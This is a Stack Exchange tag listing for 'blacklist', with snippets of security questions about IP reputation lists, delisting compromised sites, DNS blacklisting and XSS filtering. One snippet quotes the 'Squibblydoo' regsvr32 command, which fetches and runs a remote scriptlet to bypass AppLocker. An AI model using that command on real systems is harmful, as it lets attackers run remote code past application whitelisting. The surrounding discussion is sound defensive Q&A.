Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [blacklist]

A blacklist is a list of data to filter be filtered out. A blacklist is the opposite of a whitelist. - Whitelist - only these things. - Blacklist - everything but these things.

0
votes
2answers
87 views

IP reputation lists of malicious/suspicious IPs (paid or free) [closed]

I am looking for (also paid) option to get a list of bad, malicious IPs. Are there some vendors selling those? So far I found many IP lookup website and lists, but they relate mostly to SPAM. I want ...
1
vote
0answers
72 views

Website marked as dangerous (phishing) in the past. How to get off blacklists?

One of our clients got his website infected almost a year ago. The site indeed contained some malicious files on the FTP server, and it got marked as dangerous, with suspicion of phishing attempts. A ...
1
vote
2answers
74 views

Why would a phishing blacklist be hashed?

I was planning to comment on the question at Finding phishing sites to certain domain and suggest searching Google's blacklist for keywords or substrings of a domain name in question. But then I ...
2
votes
2answers
66 views

Can ISPs be helpful in preventing spam?

I have received a number of phishing emails from various domains. I would like to prevent the domain from sending emails so that other people also don't get taken advantage of. I have not been ...
0
votes
2answers
373 views

Resolving “This website has been reported as unsafe” (Windows Defender SmartScreen)

I had a website that was compromised—the attacker planted malware that caused a redirect to a malicious site. The security holes have now been fixed and the malware has been removed. However, ...
4
votes
1answer
333 views

How does this AppLocker bypass work, exactly? (“Squibblydoo”)

I have read on a few blogs about a trick called "Squibblydoo", where the following command can bypass Windows' AppLocker: regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll Where the URL points to a ...
1
vote
1answer
107 views

Might have been infected

I recently got redirected to a site which just made a loud beeping sound, when trying to just access a link in a YouTube video discription. My Anti Virus Program (Kaspersky Internet Security) ...
2
votes
2answers
68 views

Remove domain from web filter blacklists

A domain with a checkered past I work at a company that purchased a .com domain around a year ago, and it uses this domain for its web site and e-mail now. However, the previous owner had a site (...
0
votes
0answers
96 views

Debian automatic dnsbl

Watching requests log, I see some IPs, considered Black List. For example: 91.224.217.74 - - [06/Dec/2017:11:12:54 +0000] "GET / HTTP/1.1" 200 10951 "-" "curl/7.17.1 (mips-unknown-linux-gnu) libcurl/...
1
vote
1answer
320 views

Whitelist Application For Windows Server 2012

My problem I am looking for an application which runs on Windows Server 2012 for security reasons. Our server began attacked on many protocols. They are trying brute force attacks with very weak ...
2
votes
0answers
65 views

Are there any good OSINT feeds related to phone phishing? [closed]

There are lots of feeds related to fraudulent and malicious domains and IPs, but we're seeing more and more social engineering attempts coming in via phone. When these are reported to us, I'd like to ...
2
votes
0answers
62 views

Filter out ISPs from Whois results [closed]

I was wondering if there is any efficient way or any service (free or not) that may help me in order to identify companies behind IP addresses. I figured out that in some cases Whois may be really ...
0
votes
2answers
105 views

Should entire domains always be blacklisted?

I'm working on a team for an enterprise network security product and we're implementing white/blacklisting as part of the program. We have lists that were taken from a third-party source but nobody ...
0
votes
1answer
112 views

Why does Yahoo cached results button lead to blacklisted “malicious”/“phishing” IP?

I did a search for some on Yahoo, I then click on the little arrow next to one of the search results and then clicked the Cached button because I wanted to view an older version of the page. It took ...
1
vote
1answer
444 views

Difference between Knowledge-based IDS and behavior-based IDS

I have difficulties in understanding the difference between Knowledge-based IDS and behavior-based IDS. This link says that a knowledge-based IDS uses a database of specific attacks and system ...
0
votes
5answers
330 views

Blacklisting of a block of IP addresses - Why?

I have discovered that one of the IP addresses my company's domain names has been assigned to has blacklisted. It's a new domain and address for us. There's no website attached to it, but very often ...
0
votes
1answer
119 views

How DNS blacklisting works?

Let's say we have this network setup: PC > Firewall > DNS Server I was under the impression that the PC would attempt to access the DNS server but the firewall would instantly block the request ...
1
vote
2answers
1k views

How to remove my email from spam-lists/blacklists after malware issue?

I am not sure this is the proper place to ask this question, but I am sure someone will be able to help me :) I have a Mac, which I use for daily working (emails, etc.). Recently, I received some ...
2
votes
1answer
209 views

What is the lifespan of a C2?

I've been working on setting up dynamic blacklists, and one question that came up is how long typical entries should be kept on a blacklist. In the interest of equity, there should obviously be some ...
4
votes
1answer
89 views

Is filtering flash based on the mimetype enough to keep it out?

As flash is a real security mess I started blacklisting flash at our proxy by blocking any content with the mime type application/x-shockwave-flash which works pretty well as far as I can tell. The ...
1
vote
0answers
76 views

Making My Cache Work and Not Theirs: Blacklist for Blocking Caching Sites with Squidguard?

Is there a Squid Guard blacklist (assuming SSL decryption and inspection) that will block caching websites like Google Cache, Google Translate, and the Internet Wayback Machine?
0
votes
2answers
375 views

Will blacklisting a stolen iPhone prevent the thiefs from getting access to my data?

My iPhone was stolen. I have AT&T. I did a factory reset, but believe my phone was turned off because I never got confirmation that the phone was erased. If the person who stole the phone took out ...
1
vote
1answer
1k views

Nginx: How to block IP by hostname regex

I'm running a small wordpress site with nginx + php5-fpm. I have noticed that I get a lot of botnet attacks from IPs with hostnames like: 52-182.static.spheral.ru 208-135.static.spheral.ru 118-239....
-3
votes
1answer
206 views

Why not just blacklist every IP except yours?

Inspired as a continuation of this question: Is it practical to pre-blacklist certain GeoIP regions? Why would it not make sense to blacklist every single IP address that shouldn't have access to a ...
2
votes
1answer
66 views

Are there any standard practices for protecting against malicious links being entered in a public form?

A website I'm working on needs to have a form for any visitor to submit a request for information about a service. The user will not need to create an account, and contact details are just part of the ...
0
votes
2answers
65 views

Secure way for bulk mailbox verification to avoid IP Blacklisting

We have built an API that verifies a address existence in the respective MX using RCTP command. Their are many services available out there but we like to do it again since we have few clients who ...
9
votes
4answers
3k views

Making a Blacklist of filetypes to protect PHP application

I'm working in a PHP system where the user can upload files. I'm trying to protect the system from malicious codes, so I'm thinking about some type of blacklist of files that I've to block from ...
0
votes
1answer
29 views

Technical term needed: Per default secured / blacklist vs whitelist

I'm currently working on a homework and missing a technical term / known best practice to describe what I have learned or what I feel that is better. It is about a publish / subscribe architecture, ...
1
vote
2answers
382 views

DDoS Mitigation - Whitelist or Blacklist Incoming SOURCE Ports?

For a network offering webservices, I have had recommendations to blacklist a couple of common incoming DESTINATION ports, such as UDP 53, to combat the increasing load from DDoS. I'm wondering if it ...
3
votes
2answers
594 views

Is there known statistics of passwords used during brute force password attacks?

I have been reading quite a bit about brute force attacks and I am wondering whether the passwords that are used in such attacks should be kept around so as to later prevent my users from having those ...
4
votes
1answer
353 views

How to defend against a Spoofed-IP Blacklist DOS attack?

So I've implemented an IP Blacklist for the /login endpoint on my server. If any IP fails to login more than x number of attempts in x number of minutes the requesting IP is blacklisted for x number ...
1
vote
1answer
89 views

Shared Global Blacklist Trust Issue

Some vendors like Palo Alto Networks make appliances that will sync blacklists across all of their client base when one of their clients gets attacked. So after the first guy gets attacked, all of the ...
4
votes
2answers
2k views

Blacklisting IP addresses — when should we take action?

I am responsible for securing an AWS environment and am noticing various recon attacks against the environment. We have the option of blocking the IP addresses in our firewall, but the environment is ...
6
votes
5answers
14k views

Blacklisting vs. whitelisting characters to prevent XSS?

I've been reading about XSS prevention on OWASP and other security channels. They all say that I should use ESAPI or a similar library and do input filtering through a whitelist approach. However, I ...